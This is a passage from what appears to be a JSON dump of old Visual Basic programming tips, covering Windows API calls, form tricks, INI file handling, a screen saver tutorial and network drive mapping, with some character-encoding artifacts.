page displays \nyour information, as shown in Figure E. \nFigure E: The code for our portal page reads the appropriate data from \nthe database, and then inserts it into the appropriate XML tokens. <img alt=\"[ Figure E ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass5.gif\" width=\"436\" height=\"384\"> "},{"WorldId":1,"id":2042,"LineNumber":1,"line":"Function ConvertHex (H$) As Currency\nDim Tmp$\nDim lo1 As Integer, lo2 As Integer\nDim hi1 As Long, hi2 As Long\nConst Hx = \"&H\"\nConst BigShift = 65536\nConst LilShift = 256, Two = 2\n Tmp = H\n 'In case \"&H\" is present\n If UCase(Left$(H, 2)) = \"&H\" Then Tmp = Mid$(H, 3)\n 'In case there are too few characters\n Tmp = Right$(\"0000000\" & Tmp, 8)\n 'In case it wasn't a valid number\n If IsNumeric(Hx & Tmp) Then\n lo1 = CInt(Hx & Right$(Tmp, Two))\n hi1 = CLng(Hx & Mid$(Tmp, 5, Two))\n lo2 = CInt(Hx & Mid$(Tmp, 3, Two))\n hi2 = CLng(Hx & Left$(Tmp, Two))\n ConvertHex = CCur(hi2 * LilShift + lo2) * BigShift + (hi1 * LilShift) + lo1\n End If\nEnd Function\n"},{"WorldId":1,"id":68,"LineNumber":1,"line":"Add 2 command buttons named :\ncmdFormat and cmdDiskCopy\nPrivate Sub cmdFormatDrive_Click()\n Dim DriveLetter$, DriveNumber&, DriveType&\n Dim RetVal&, RetFromMsg%\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65) ' Change letter to Number: A=0\n DriveType = GetDriveType(DriveLetter)\n If DriveType = 2 Then 'Floppies, etc\n RetVal = SHFormatDrive(Me.hwnd, DriveNumber, 0&, 0&)\n Else\n RetFromMsg = MsgBox(\"This drive is NOT a removeable\" & vbCrLf & _\n \"drive! Format this drive?\", 276, \"SHFormatDrive Example\")\n Select Case RetFromMsg\n Case 6 'Yes\n ' UnComment to do it...\n 'RetVal = SHFormatDrive(Me.hwnd, DriveNumber, 0&, 0&)\n Case 7 'No\n ' Do nothing\n End Select\n End If\nEnd Sub\nPrivate Sub cmdDiskCopy_Click()\n' DiskCopyRunDll takes two parameters- From and To\n Dim DriveLetter$, DriveNumber&, DriveType&\n Dim RetVal&, RetFromMsg&\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65)\n DriveType = GetDriveType(DriveLetter)\n If DriveType = 2 Then 'Floppies, etc\n RetVal = Shell(\"rundll32.exe diskcopy.dll,DiskCopyRunDll \" _\n & DriveNumber & \",\" & DriveNumber, 1) 'Notice space after\n Else ' Just in case 'DiskCopyRunDll\n RetFromMsg = MsgBox(\"Only floppies can\" & vbCrLf & _\n \"be diskcopied!\", 64, \"DiskCopy Example\")\n End If\nEnd Sub\nAdd 1 ListDrive name Drive1\nPrivate Sub Drive1_Change()\n Dim DriveLetter$, DriveNumber&, DriveType&\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65)\n DriveType = GetDriveType(DriveLetter)\n If DriveType 2 Then 'Floppies, etc\n cmdDiskCopy.Enabled = False\n Else\n cmdDiskCopy.Enabled = True\n End If\nEnd Sub"},{"WorldId":1,"id":69,"LineNumber":1,"line":"Sub Text1_KeyPress (KeyAscii As Integer) \n\nIf KeyAscii = 13 Then '13 is Key_Return\nKeyAscii = 0 \nEnd If \n\nEnd Sub"},{"WorldId":1,"id":73,"LineNumber":1,"line":"To set Form1 as a top-most form, do the following: \n\n#IF WIN32 THEN\nDim lResult as Long \nlResult = SetWindowPos (me.hWnd, HWND_TOPMOST, _\n0, 0, 0, 0, FLAGS) \n#ELSE '16-bit API uses a Sub, not a Function\nSetWindowPos me.hWnd, HWND_TOPMOST, _\n0, 0, 0, 0, FLAGS\n#END IF\n\nTo turn off topmost (make the form act normal again), do the following: \n\n#IF WIN32 THEN\nDim lResult as Long \nlResult = SetWindowPos (me.hWnd, HWND_NOTOPMOST, _\n0, 0, 0, 0, FLAGS) \n#ELSE '16-bit API uses a Sub, not a Function\nSetWindowPos me.hWnd, HWND_NOTOPMOST, _\n0, 0, 0, 0, FLAGS\n#END IF\n\nIf you don't want to force a window on top, which will prevent the user from seeing below it, but simply want to move a Window to the top for the user's attention, do this:\n\nForm1.ZOrder"},{"WorldId":1,"id":74,"LineNumber":1,"line":"Sub Form_Load () \n If App.PrevInstance Then \n SaveTitle$ = App.Title \n App.Title = \"... duplicate instance.\" 'Pretty, eh? \n Form1.Caption = \"... duplicate instance.\" \n AppActivate SaveTitle$ \n SendKeys \"% R\", True \n End \n End If \nEnd Sub"},{"WorldId":1,"id":78,"LineNumber":1,"line":"It is recommended (and polite, as we're multitasking) to send a WM_WININCHANGE (&H1A) to all windows to tell them of the change. Also, under some circumstances the printer object won't notice that you have changed the default printer unless you do this. \n\nDeclare Function SendMessage(ByVal hWnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, lParam As Any) As Long \nGlobal Const WM_WININICHANGE = &H1A \nGlobal Const HWND_BROADCAST = &HFFFF \n' Dummy means send to all top windows. \n' Send name of changed section as lParam. \nlRes = SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, ByVal \"Windows\")"},{"WorldId":1,"id":89,"LineNumber":1,"line":"Function StartDoc(DocName As String) As Long\n┬á┬áDim Scr_hDC As Long\n┬á┬áScr_hDC = GetDesktopWindow()\n┬á┬áStartDoc = ShellExecute(Scr_hDC, \"Open\", DocName, \"\", \"C:\\\", SW_SHOWNORMAL)\nEnd Function\nPrivate Sub Form_Click()\n┬á┬áDim r As Long\n┬á┬ár = StartDoc(\"c:\\my documents\\word\\myletter.doc\")\n┬á┬áDebug.Print \"Return code from Startdoc: \"; r\nEnd Sub"},{"WorldId":1,"id":92,"LineNumber":1,"line":"TextBox.Text = MyTest.Fields(\"TestFld\") & \"\""},{"WorldId":1,"id":103,"LineNumber":1,"line":"Private Sub Command1_Click(Index As Integer)\nGetControls Command1()\nEnd Sub\nPublic Sub GetControls(CArray As Variant)\nDim C As Control\nFor Each C In CArray\nMsgBox C.Index\nNext\nEnd Sub\n\n\nAlso, VB4's control arrays have LBound, Ubound, and Count properties: \n\nIf Command1.Count < Command1.Ubound - _\nCommand1.Lbound + 1 Then _\nMsgbox \"Array not contiguous\""},{"WorldId":1,"id":111,"LineNumber":1,"line":"\nIn the Mousedown event of the control, insert: \n\nSub Command1_MouseDown (Button As Integer, _\nShift As Integer, X As Single, Y As Single)\nDim Ret&\nReleaseCapture\nRet& = SendMessage(Me.hWnd, &H112, &HF012, 0)\nEnd Sub"},{"WorldId":1,"id":112,"LineNumber":1,"line":"Function sLongName(sShortName As String) As String\n'sShortName - the provided file name, \n'fully qualified, this would usually be \n'a short file name, but can be a long file name\n'or any combination of long / short parts\n'RETURNS: the complete long file name, \n'or \"\" if an error occurs\n'an error would usually indicate \n'that the file doesn't exist\nDim sTemp As String\nDim sNew As String\nDim iHasBS As Integer\nDim iBS As Integer\nIf Len(sShortName) = 0 Then Exit Function\nsTemp = sShortName\nIf Right$(sTemp, 1) = \"\\\" Then\nsTemp = Left$(sTemp, Len(sTemp) - 1)\niHasBS = True\nEnd If\nOn Error GoTo MSGLFNnofile\nIf InStr(sTemp, \"\\\") Then\nsNew = \"\"\nDo While InStr(sTemp, \"\\\")\nIf Len(sNew) Then\nsNew = Dir$(sTemp, 54) & \"\\\" & sNew\nElse\nsNew = Dir$(sTemp, 54)\nIf sNew = \"\" Then\nsLongName = sShortName\nExit Function\nEnd If\nEnd If\nOn Error Resume Next\nFor iBS = Len(sTemp) To 1 Step -1\nIf (\"\\\" = Mid$(sTemp, iBS, 1)) Then\n'found it\nExit For\nEnd If\nNext iBS\nsTemp = Left$(sTemp, iBS - 1)\nLoop\nsNew = sTemp & \"\\\" & sNew\nElse\nsNew = Dir$(sTemp, 54)\nEnd If\nMSGLFNresume:\nIf iHasBS Then\nsNew = sNew & \"\\\"\nEnd If\nsLongName = sNew\nExit Function\nMSGLFNnofile:\nsNew = \"\"\nResume MSGLFNresume\nEnd Function"},{"WorldId":1,"id":126,"LineNumber":1,"line":"Sub WipeRight (Lt%, Tp%, frm As Form)\nDim s, Wx, Hx, i\ns = 90 'number of steps to use in the wipe\nWx = frm.Width / s 'size of vertical steps\nHx = frm.Height / s 'size of horizontal steps\n' top and left are static \n' while the width gradually shrinks\nFor i = 1 To s - 1\nfrm.Move Lt, Tp, frm.Width - Wx\nNext\nEnd Sub\n\n\nCall the routine from a command button by using this code: \n\nL = Me.Left\nT = Me.Top\nWipeRight L, T, Me"},{"WorldId":1,"id":128,"LineNumber":1,"line":"hInst = Shell(\"foobar.exe\")\nDo While IsInst(hInst)\nDoEvents\nLoop\nFunction IsInst(hInst As Integer) As Boolean\nDim taskstruct As TaskEntry\nDim retc As Boolean\nIsInst = False\ntaskstruct.dwSize = Len(taskstruct)\nretc = TaskFirst(taskstruct)\nDo While retc\nIf taskstruct.hInst = hInst Then\n' note: the task handle is: taskstruct.hTask\nIsInst = True\nExit Function\nEnd If\nretc = TaskNext(taskstruct)\nLoop\nEnd Function"},{"WorldId":1,"id":153,"LineNumber":1,"line":"Place a Horizontal Scrollbar on the form (doesn't matter where) and set its properties as follows: \n\n Height = 300\n LargeChange = 900\n Name = HScroll\n SmallChange = 30\n\nThese properties do not need to be identical to mine, but will serve as a good common ground starting point. You can always modify them to suit your needs and taste later. \nNow, let's place a Vertical Scrollbar on the form (doesn't matter where) and set its properties as follows: \n\n LargeChange = 900 \n Name = VScroll\n SmallChange = 30 \n Width = 300 \n\nNow, for the magic. Place a PictureBox on your form and set the following properties for it. The PictureBox will serve as our container for all controls and graphics that need to be placed on the virtual form. \n\n BackColor = &H00FFFFFF& \n Height = 15900 \n Name = PicBox\n Width = 11640 \n\nThere is one last control that we need to place on the virtual form. However, this control is not placed directly onto the form but onto the picture box. It is a label that will serve as a filler to cover up the gap left between the two scrollbars in the lower right hand corner. Click on the PictureBox to select it, then double click the Label control on the VB Toolbox. Make sure that the label is the same color as your scrollbars. Then set its properties as follows: \n\n Height = 300\n Name = lblFiller\n Width = 300\n\nFrom this point on, all of the control that are placed on the virtual form (the picturebox) are solely for our own visual evidence that the form does indeed move. Place any controls you wish and set their properties as you wish on the form. (The downloadable project has already placed several controls on the picture box for you.) \nLet's start our Coding process by writing a routine to line everything up the way it should be. We need to place the scrollbars where they should go, make their dimensions match that of the form, and also position the lblFiller label properly. I have called this procedure AlignScrollBars(). This procedure needs to be placed in your General Decalrations section. The code looks like this: \n\nSub AlignScrollBars()\n ' Resize the scrollbars\n HScroll.Width = Me.ScaleWidth - lblFiller.Width\n VScroll.Height = Me.ScaleHeight - lblFiller.Height\n \n ' Reposition the scrollbars\n HScroll.Left = 0: HScroll.Top = Me.ScaleHeight - HScroll.Height\n VScroll.Top = 0: VScroll.Left = Me.ScaleWidth - VScroll.Width\n \n ' Redimension the scrollbar parameters\n HScroll.Max = PicBox.Width - Me.ScaleWidth\n VScroll.Max = PicBox.Height - Me.ScaleHeight\n \n ' Reposition the PictureBox\n PicBox.Top = (-1 * VScroll)\n PicBox.Left = (-1 * HScroll)\n \n ' Reposition the Picturebox label by scrollbars\n lblFiller.Top = VScroll.Height + VScroll - 30\n lblFiller.Left = HScroll.Width + HScroll - 30\n \n UpdateDisplay\nEnd Sub\n\nNote the call to UpdateDisplay. That procedure is just for the fun of it. I have used it to create some text and a graphic on the form at run time. This is what the procedure looks like. \nFor VB4: \n\nSub UpdateDisplay()\n ' Place text on the PictureBox\n PicBox.AutoRedraw = True\n Dim PictureBoxText As String\n PictureBoxText = \"Virtual Form - 8┬╜ x 11 size\"\n With PicBox\n .Font = \"Arial\"\n .FontSize = 14\n .FontBold = True\n .FontItalic = True\n .CurrentX = (PicBox.Width - PicBox.TextWidth(PictureBoxText)) / 2\n .CurrentY = 0\n End With\n PicBox.Print PictureBoxText\n ' Graphics can be drawn on the virtual form at run time\n PicBox.Line (100, 100)-(500, 500), , B\nEnd Sub\n\nFor VB3: (since the WITH construct is only available in VB4.) \n\nSub UpdateDisplay()\n ' Place text on the PictureBox\n PicBox.AutoRedraw = True\n Dim PictureBoxText As String\n PictureBoxText = \"Virtual Form - 8┬╜ x 11 size\"\n PicBox.Font = \"Arial\"\n PicBox.FontSize = 14\n PicBox.FontBold = True\n PicBox.FontItalic = True\n PicBox.CurrentX = (PicBox.Width - PicBox.TextWidth(PictureBoxText)) / 2\n PicBox.CurrentY = 0\n PicBox.Print PictureBoxText\n ' Graphics can be drawn on the virtual form at run time\n PicBox.Line (100, 100)-(500, 500), , B\nEnd Sub\n\nAt this point, there are only three procedures left for us to code. We need to be able to realign the controls (scrollbars, etc) each time the scrollbars are clicked and each time the form is resized. I have written these three procedures like this: (Of course in VB3 you will want to remove the Private keyword from the SUB line). \n\nPrivate Sub Form_Resize()\n AlignScrollBars\nEnd Sub\nPrivate Sub HScroll_Change()\n AlignScrollBars\nEnd Sub\nPrivate Sub VScroll_Change()\n AlignScrollBars\nEnd Sub\n\nNow, save your project and run the thing. If you have placed additional controls on the picturebox during design time, you should be able to see them float across the screen as your scroll around. Keep in mind that during design time, you can drag the picturebox around to work with the sections that are not visible within the form. The code will line everything back up so you don't even have to clean up behind yourself."},{"WorldId":1,"id":157,"LineNumber":1,"line":"Sub PaintForm (FormName As Form, Orientation%, RStart%, GStart%, BStart%, RInc%, GInc%, BInc%)\n' This routine does NOT use API calls\n On Error Resume Next\n Dim x As Integer, y As Integer, z As Integer, Cycles As Integer\n Dim R%, G%, B%\n R% = RStart%: G% = GStart%: B% = BStart%\n ' Dividing the form into 100 equal parts\n If Orientation% = 0 Then\n Cycles = FormName.ScaleHeight \\ 100\n Else\n Cycles = FormName.ScaleWidth \\ 100\n End If\n For z = 1 To 100\n x = x + 1\n Select Case Orientation\n Case 0: 'Top to Bottom\n If x > FormName.ScaleHeight Then Exit For\n FormName.Line (0, x)-(FormName.Width, x + Cycles - 1), RGB(R%, G%, B%), BF\n Case 1: 'Left to Right\n If x > FormName.ScaleWidth Then Exit For\n FormName.Line (x, 0)-(x + Cycles - 1, FormName.Height), RGB(R%, G%, B%), BF\n End Select\n x = x + Cycles\n R% = R% + RInc%: G% = G% + GInc%: B% = B% + BInc%\n If R% > 255 Then R% = 255\n If R% < 0 Then R% = 0\n If G% > 255 Then G% = 255\n If G% < 0 Then G% = 0\n If B% > 255 Then B% = 255\n If B% < 0 Then B% = 0\n Next z\nEnd Sub\n\n\nTo paint a form call the PaintForm procedure as follows: \n\nPaintForm Me, 1, 100, 0, 255, 1, 0, -1\n\n\nExperiment with the parameters and see what you can come up with. Keep the values for the incrementing low so as to create a smooth transition, whether they are negative or positive numbers."},{"WorldId":1,"id":158,"LineNumber":1,"line":"Function PurgeNumericInput (StringVal As Variant) As Variant\n On Local Error Resume Next\n Dim x As Integer\n Dim WorkString As String\n \n If Len(Trim(StringVal)) = 0 Then Exit Function ' this is an empty string\n For x = 1 To Len(StringVal)\n Select Case Mid(StringVal, x, 1)\n Case \"0\" To \"9\", \".\" 'Is this character a number or decimal?\n WorkString = WorkString + Mid(StringVal, x, 1) ' Add it to the string being built\n End Select\n Next x\n PurgeNumericInput = WorkString 'Return the purged string (containing only numbers and decimals\nEnd Function\n\n\nYou then just need to call the function passing a string argument to it. An example is shown below. \n\nSub Command1_Click\n Dim NewString as Variant\n NewString = PurgeNumericInput(\"$44Embedded letters and spaces 33 a few more pieces of garbage .9\")\n If Val(NewString) 0 Then\n MsgBox \"The Value is: \" & NewString\n Else\n MsgBox \"The Value is ZERO or non-numeric\"\n End If\nEnd Sub\n\n\nNotice how much alphanumeric garbage was placed in the string argument. However, the returned value should be 4433.9! Two questions might arise when using this type of example. \n#1 - What if the string was \"0\"? This could be determined by checking the length of the string (variant) returned. If the user entered a \"0\" then the length of the string would be > 0. \n#2 - What if the string contains more than one decimal? You could use INSTR to test for the number of decimals. However, chances are, if the user entered more than one decimal you might better have them re-enter that field again anyway. <sly smile>"},{"WorldId":1,"id":162,"LineNumber":1,"line":"In order to accomplish this task, start a new Visual Basic project. This example only requires a form - no VBXs or additional modules necessary. On the form, set the following properties:\n\nΓÇóCaption = \"\" ΓÇóControlBox = False ΓÇóMinButton = False ΓÇóMaxButton = False ΓÇóBorderStyle = 0 ' None ΓÇóWindowState = 2 ' Maximized ΓÇóBackColor = Black \n\nThe next order of business is to place a line (shape control) on the form. Draw it to any orientation and color you wish. Set the color by using the BorderColor property. \nThe last control that you will need to place on the form is a timer control. Set the timer's interval property anywhere from 100 to 500 (1/10 to 1/2 of a second). \nIn the general declarations section of the form you will need to declare two API functions. The first of these (SetWindowPos) is used to enable the form to stay on top of all other windows. The second (ShowCursor) is used to hide the mouse pointer while the screen saver runs and to restore it when the screen saver ends. The declares look like the following: \n\nFor VB3:\n Declare Function SetWindowPos Lib \"user\" (ByVal h%, ByVal hb%, ByVal x%, ByVal Y%, ByVal cx%, ByVal cy%, ByVal f%) As Integer\n Declare Function ShowCursor Lib \"User\" (ByVal bShow As Integer) As Integer\nFor VB4:\n Private Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\n Private Declare Function ShowCursor Lib \"user32\" (ByVal bShow As Long) As Long\n\nThe first SUB we will write will be the routine that we will call to keep the form always on top. Place this SUB into the general declarations section of the form. \n\nSub AlwaysOnTop (FrmID As Form, OnTop As Integer)\n ' This function uses an argument to determine whether\n ' to make the specified form always on top or not\n Const SWP_NOMOVE = 2\n Const SWP_NOSIZE = 1\n Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE\n Const HWND_TOPMOST = -1\n Const HWND_NOTOPMOST = -2\n If OnTop Then\n OnTop = SetWindowPos(FrmID.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\n Else\n OnTop = SetWindowPos(FrmID.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\n End If\nEnd Sub\n\nThe next issue we will take up will be the issue of getting the program started. This is of course the Form_Load event procedure. The actions we will take in this procedure is to randomize the number generator (so that the line moves around differently each time the screen saver is activated). We will also call the AlwaysOnTop SUB so that it will appear over everything else on the screen. \n\nSub Form_Load ()\n Dim x As Integer ' Declare variable\n Randomize Timer ' Variety is the spice of life\n AlwaysOnTop Me, True ' Cover everything else on screen\n x = ShowCursor(False) ' Hide MousePointer while running\nEnd Sub\n\nNow, before we handle the logic of making the line bounce around the screen, let's go ahead and handle shutting the program down. Most screen savers terminate when one of two things happen. Our's will end when the mouse is moved or when a key is pressed on the keyboard. Therefore we will need to trap two event procedures. Since there are no controls on the screen that can generate event procedures, we need to trap them at the form level. We will use the Form_KeyPress and Form_MouseMove event procedures to handle this. They appear as follows: \n\nSub Form_KeyPress (KeyAscii As Integer)\n Dim x As Integer\n x = ShowCursor(True) ' Restore Mousepointer\n Unload Me\n End\nEnd Sub\nSub Form_MouseMove (Button As Integer, Shift As Integer, x As Single, Y As Single)\n Static Count As Integer\n Count = Count + 1 ' Give enough time for program to run\n If Count > 5 Then\n x = ShowCursor(True) ' Restore Mousepointer\n Unload Me\n End\n End If\nEnd Sub\n\nFinally, we need to handle the logic necessary to cause motion on the screen. I have created two sets of variables. One set DirXX handles the direction (1=Right or Down and 2=Left or Up) of the motion for each of the line control's four coordinates. The other set SpeedXX handles the speed factor for each of the line's four coordinates. These will be generated randomly (hence the Randomize Timer statement in Form_Load). These variables are Static, which of course means that each time the event procedure is called, they will retain their values from the preceeding time. The first time through the procedure they will also be set to zero. Therefore the program will assign these random values the first time through. From that point on, the program checks the direction of movement of each of the four coordinates and relocates them to a new position (the distance governed by the SpeedXX variable). The last section of code simply checks these coordinates to see if they left the visible area of the form and if they did their direction is reversed. This of course goes in the Timer's event procedure. \n\nSub Timer1_Timer ()\n Static DirX1 As Integer, Speedx1 As Integer\n Static DirX2 As Integer, Speedx2 As Integer\n Static DirY1 As Integer, Speedy1 As Integer\n Static DirY2 As Integer, Speedy2 As Integer\n ' Set initial Direction\n If DirX1 = 0 Then DirX1 = Rnd * 3\n If DirX2 = 0 Then DirX2 = Rnd * 3\n If DirY1 = 0 Then DirY1 = Rnd * 3\n If DirY2 = 0 Then DirY2 = Rnd * 3\n ' Set Speed\n If Speedx1 = 0 Then Speedx1 = 60 * Int(Rnd * 5)\n If Speedx2 = 0 Then Speedx2 = 60 * Int((Rnd * 5))\n If Speedy1 = 0 Then Speedy1 = 60 * Int((Rnd * 5))\n If Speedy2 = 0 Then Speedy2 = 60 * Int((Rnd * 5))\n ' Handle Movement\n ' If X1=1 then moving right else moving left\n ' If X2=1 then moving right else moving left\n ' If Y1=1 then moving down else moving up\n ' If Y2=1 then moving down else moving up\n If DirX1 = 1 Then\n Line1.X1 = Line1.X1 + Speedx1\n Else\n Line1.X1 = Line1.X1 - Speedx1\n End If\n If DirX2 = 1 Then\n Line1.X2 = Line1.X2 + Speedx2\n Else\n Line1.X2 = Line1.X2 - Speedx1\n End If\n If DirY1 = 1 Then\n Line1.Y1 = Line1.Y1 + Speedy1\n Else\n Line1.Y1 = Line1.Y1 - Speedy1\n End If\n If DirY2 = 1 Then\n Line1.Y2 = Line1.Y2 + Speedy2\n Else\n Line1.Y2 = Line1.Y2 - Speedy2\n End If\n ' Handle bouncing (change directions if off screen)\n If Line1.X1 < 0 Then DirX1 = 1\n If Line1.X1 > Me.ScaleWidth Then DirX1 = 2\n If Line1.X2 < 0 Then DirX2 = 1\n If Line1.X2 > Me.ScaleWidth Then DirX2 = 2\n If Line1.Y1 < 0 Then DirY1 = 1\n If Line1.Y1 > Me.ScaleHeight Then DirY1 = 2\n If Line1.Y2 < 0 Then DirY2 = 1\n If Line1.Y2 > Me.ScaleHeight Then DirY2 = 2\nEnd Sub\n\nOnce you have entered all the preceeding code you have a nice little program that looks like a screen saver. You can compile it into an EXE and run it anytime you like. However, to make it into a true Windows screen-saver you need to do the following steps:\n\n1.Choose \"Make EXE File\" from the File menu. 2.In the \"Application Title\" text box, type in the following: SCRNSAVE:VB4UandME Example 3.Change the extension in the EXE filename to have an SCR extension instead of an EXE. 4.Change the destination directory to your Windows directory (where all screen savers need to reside) 5.Click OK and let the compilation proceed. \nAt this point, you should be able to bring up the Windows Control Panel and select VB4UandME Example as the new screen saver. For Windows 3.1 this is found in the Desktop icon within Control Panel. For Windows 95, it is found in the Display icon in Control Panel (second tab)."},{"WorldId":1,"id":163,"LineNumber":1,"line":"The first step is to add a label to a form. This example assumes you are using a label named \"Label1\". This label will be used in the DDE conversation between Program Manager and your proram. This example contains two SUBs. Both are placed into a BAS module. The first SUB creates the Program Manager Group, and the second SUB creates an icon within that group. These SUBs are called independantly (to allow for flexibility and clarity of illustration). \nThe following SUB creates the Program Manager group. It requires 3 arguments to be passed to it. They are: \n1.The form that contains Label1 (x) 2.A string variable containing the group's name (GroupName$) 3.A string variable containing the path to the group (*.GRP) file (GroupPath$) \n\n\nSub CreateProgManGroup (x As Form, GroupName$, GroupPath$)\n Dim i%, z% 'Declare required working variables\n Screen.MousePointer = 11 'hourglass mousepointer while working\n On Error Resume Next 'Not good to have program crash :-)\n ' Set LinkTopic & LinkMode parameters\n x.Label1.LinkTopic = \"ProgMan|Progman\"\n x.Label1.LinkMode = 2\n For i% = 1 To 10 ' Give the DDE process time to take place\n z% = DoEvents() \n Next \n x.Label1.LinkTimeout = 100 \n ' Actually create the group now\n x.Label1.LinkExecute \"[CreateGroup(\" + GroupName$ + Chr$(44) + GroupPath$ + \")]\" \n ' Reset label properties and mousepointer\n x.Label1.LinkTimeout = 50\n x.Label1.LinkMode = 0\n Screen.MousePointer = 0\nEnd Sub\n\nThe following SUB creates the Program Manager icon. It requires 3 arguments to be passed to it. They are: \n1.The form that contains Label1 (x) 2.A string variable containing the icon's Command Line (CmdLine$) 3.A string variable containing the icon's Caption (IconTitle$) \n\n\nSub CreateProgManItem (x As Form, CmdLine$, IconTitle$)\n Dim i%, z% 'Declare required working variables\n Screen.MousePointer = 11 'hourglass mousepointer while working\n On Error Resume Next 'Not good to have program crash :-)\n ' Set LinkTopic & LinkMode parameters\n x.Label1.LinkTopic = \"ProgMan|Progman\"\n x.Label1.LinkMode = 2\n For i% = 1 To 10 ' Give the DDE process time to take place\n z% = DoEvents() \n Next \n x.Label1.LinkTimeout = 100\n x.Label1.LinkExecute \"[AddItem(\" + CmdLine$ + Chr$(44) + IconTitle$ + Chr$(44) + \",,)]\" \n ' Reset label properties and mousepointer\n x.Label1.LinkTimeout = 50\n x.Label1.LinkMode = 0 \n Screen.MousePointer = 0\nEnd Sub\n\n\nFinally, the last thing you need is for an event procedure (or any other form level routine) to call the 2 SUBs and provide the necessary information. In this example, I am creating a group window called VB Library and am placing it into the Windows directory. Then, I am creating an icon called \"VB Library\" within the group. This example creates an icon for the currently running program which happens to be Library.EXE. \n\n' Refer to Tips 23 and 24 for obtaining the Windows Directory\nCreateProgManGroup Me, \"VB Library\", \"c:\\windows\" \nCreateProgManItem Me, app.Path + \"\\library\", \"VB Library\"\n\n\nA little side note here. Thanks to Microsoft making Windows 95 backward-compatible, this routine runs fine within it. The group file will appear as an entry in the Start Menu's Programs section and the icon will be a sub-menu of that entry."},{"WorldId":1,"id":164,"LineNumber":1,"line":"Sub CenterChild (Parent As Form, Child As Form)\n Dim iTop As Integer\n Dim iLeft As Integer\n If Parent.WindowState <> 0 Then Exit Sub\n iTop = ((Parent.Height - Child.Height) \\ 2)\n iLeft = ((Parent.Width - Child.Width) \\ 2)\n Child.Move iLeft, iTop ' (This is more efficient than setting Top and Left properties)\nEnd Sub\n\n\nThe next thing you will need to do is actually call the CenterChild procedure. I have placed the call to CenterChild within the child window's Form_Click event procedure. \n\nSub Form_Click ()\n CenterChild MDIForm1, Form1\nEnd Sub"},{"WorldId":1,"id":174,"LineNumber":1,"line":"Create a new module called: INI_SM.BAS\nAdd an attribute:\nAttribute VB_Name = \"ini_sm\"\nAdd this code:\n'*******************************************************\n'* Procedure Name: sReadINI *\n'*=====================================================*\n'*Returns a string from an INI file. To use, call the *\n'*functions and pass it the Section, KeyName and INI *\n'*File Name, [sRet=sReadINI(Section,Key1,INIFile)]. *\n'*val command. *\n'*******************************************************\nFunction ReadINI(Section, KeyName, filename As String) As String\n Dim sRet As String\n sRet = String(255, Chr(0))\n ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal KeyName, \"\", sRet, Len(sRet), filename))\nEnd Function\n'*******************************************************\n'* Procedure Name: WriteINI *\n'*=====================================================*\n'*Writes a string to an INI file. To use, call the *\n'*function and pass it the sSection, sKeyName, the New *\n'*String and the INI File Name, *\n'*[Ret=WriteINI(Section,Key,String,INIFile)]. *\n'*Returns a 1 if there were no errors and *\n'*a 0 if there were errors. *\n'*******************************************************\nFunction writeini(sSection As String, sKeyName As String, sNewString As String, sFileName) As Integer\n Dim r\n r = WritePrivateProfileString(sSection, sKeyName, sNewString, sFileName)\nEnd Function"},{"WorldId":1,"id":179,"LineNumber":1,"line":"Const WM_USER = 1024\nConst LB_SETHORIZONTALEXTENT = (WM_USER + 21)\nDim nRet As Long\nDim nNewWidth As Integer\nnNewWidth = list1.Width + 100 'new width in pixels\nnRet = SendMessage(list1.hwnd, LB_SETHORIZONTALEXTENT, nNewWidth, ByVal 0&)"},{"WorldId":1,"id":196,"LineNumber":1,"line":"Public Function NetUse(sLocalDevice As String, sShareName As String, Optional sUserID As Variant, Optional sPassword As Variant, Optional varPersistent As Variant) As Long\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'' ''\n'' The function, NetUseDrive, maps a network drive in the same fashion as 'NET USE' ''\n'' ''\n'' The function accepts the following parameters: ''\n'' sLocalDevice - a (case insensitive) string containing the local device to redirect (ie. \"F:\" or \"LPT1\"). If sLocalDevice ''\n'' is empty or is undefined/NULL, a connection to sShareName is made without redirecting a local device (ie. pipe/IPC$). ''\n'' sShareName - the UNC Name for the share to connect to. Must be in the format of \"\\\\server\\share\" ''\n'' sUserID - optional, the User ID to login with (ie. \"TAS01\"). If it isn't passed, the User ID ''\n'' and password of the person currently logged in is used. (Actually the program is running in) ''\n'' sPassword - optional, the Password to login with. If it isn't passed, the User ID and password of ''\n'' the person currently logged in is used. (Actually the program is running in) ''\n'' varPersistent - must be passed True (-1) or False (0) to be considered. Default is True. If False, the connection remains ''\n'' until disconnected, or until the user is logged off. ''\n'' ''\n'' The following (long datatype) result codes are returned: ''\n'' NO_ERROR (0) Drive sLocalDevice was mapped successfully to sShareName. ''\n'' ERROR_ACCESS_DENIED (5) Access to the network resource was denied. ''\n'' ERROR_ALREADY_ASSIGNED (85) The local device specified by sShareName is already connected to a network ''\n'' resource. ''\n'' ERROR_BAD_DEV_TYPE (66) The type of local device and the type of network resource do not match. ''\n'' ERROR_BAD_DEVICE (1200) The value specified by sLocalDevice is invalid. ''\n'' ERROR_BAD_NET_NAME (67) The value specified by sShareName is not acceptable to any network resource ''\n'' provider. The resource name is invalid, or the named resource cannot be located. ''\n'' ERROR_BAD_PROFILE (1206) The user profile is in an incorrect format. ''\n'' ERROR_BAD_PROVIDER (1204) The default network provider is invalid. ''\n'' ERROR_BUSY (170) The router or provider is busy, possibly initializing. The caller should retry. ''\n'' ERROR_CANNOT_OPEN_PROFILE (1205) The system is unable to open the user profile to process persistent connections. ''\n'' ERROR_DEVICE_ALREADY_REMEMBERED (1202) An entry for the device specified in sShareName is already in the user profile. ''\n'' ERROR_EXTENDED_ERROR (1208) An unknown network-specific error occured. 